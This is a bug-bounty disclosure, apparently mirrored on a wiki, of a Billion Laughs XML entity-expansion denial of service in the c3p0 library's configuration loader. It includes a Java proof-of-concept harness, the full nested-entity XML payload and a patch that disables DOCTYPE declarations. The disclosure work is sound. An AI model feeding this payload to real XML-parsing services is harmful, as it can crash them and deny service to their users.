c3p0 may be exploited by a Billion Laughs Attack when loading XML configuration
The c3p0 library's XML configuration loader does not protect against recursive entity expansion, so a crafted XML document with nested entities can cause the JVM to crash. An attacker who can supply configuration data could trigger a denial of service.
- Triaged in 2 hours
- Fixed in 34 days
- Disclosed after 34 days
NOTE! Thanks for submitting a report! Please replace all the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report! Please refer to the example on our policy page.
Maven artifact
groupId: com.mchange artifactId: c3p0 version: 0.9.5.3
Vulnerability
Vulnerability Description
c3p0/src/java/com/mchange/v2/c3p0/cfg/C3P0ConfigXmlUtils.javadoes not protect against recursive entity expansion when loading configuration.
Additional Details
Source File and Line Number: https://github.com/swaldman/c3p0/blob/c3p0-0.9.5.3/src/java/com/mchange/v2/c3p0/cfg/C3P0ConfigXmlUtils.java#L154
Steps To Reproduce:
Detailed steps to reproduce with all required references/steps/commands. Any sample/exploit code or other proof of concept.
- Use
C3P0ConfigXmlUtils.extractXmlConfigFromInputStream()on Billion Laughs XML payload - Have a billion laughs while the JVM crashes.
import com.mchange.v2.c3p0.cfg.C3P0ConfigXmlUtils;
import java.io.InputStream;
public class C3P0PoC {
public static void main(String[] args) throws Exception {
String payload = args[0];
InputStream inputStream = C3P0PoC.class.getResourceAsStream(payload);
C3P0ConfigXmlUtils.extractXmlConfigFromInputStream(inputStream, false);
System.out.println("Completed!");
}
}
XML Payload
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
Patch
The patch given was adapted from https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md#jaxp-documentbuilderfactory-saxparserfactory-and-dom4j
Apply the following before calling fact.newDocumentBuilder().
String FEATURE = null;
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
fact.setFeature(FEATURE, true);
Supporting Material/References:
State all technical information about the stack where the vulnerability was found
- Darwin Kernel Version 18.2.0
- 1.8.0_171
- 3.3.9
Wrap up
Select Y or N for the following statements:
- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N
Finder's comments and funny memes goes here
Honestly, this is a pretty complicated attack to pull off. The attack requires poisoned XML configuration data to make to the component's client code. I may have held off on reporting it, but the maintainer did acknowledge a similar attack, twas XXE, under CVE-2018-20433. Since the reporter didn't dispute it, I decided to report this attack as valid as well.
Vulnerabilities like these exist because https://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setExpandEntityReferences(boolean) is a poorly named and documented method thus causing misunderstanding.
I'm on my third five hour energy today.
Impact
This could be leveraged by an attacker to cause a Denial of Service by crashing the JVM that the server process is running on.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
This could be leveraged by an attacker to cause a Denial of Service by crashing the JVM that the server process is running on.
What the attacker needed
Attacker can supply XML configuration data
The fix
The parser should be configured to disallow DOCTYPE declarations before creating the document builder.
How it was found
- Call the XML configuration extraction method on a crafted Billion Laughs XML input.
- Observe the JVM crash as the entities expand.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
XML files can define shortcuts called entities that stand for text. If an entity refers to other entities many times over, the parser can expand them into an enormous amount of text, exhausting memory and crashing the program. This is called a Billion Laughs attack, a type of denial of service.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.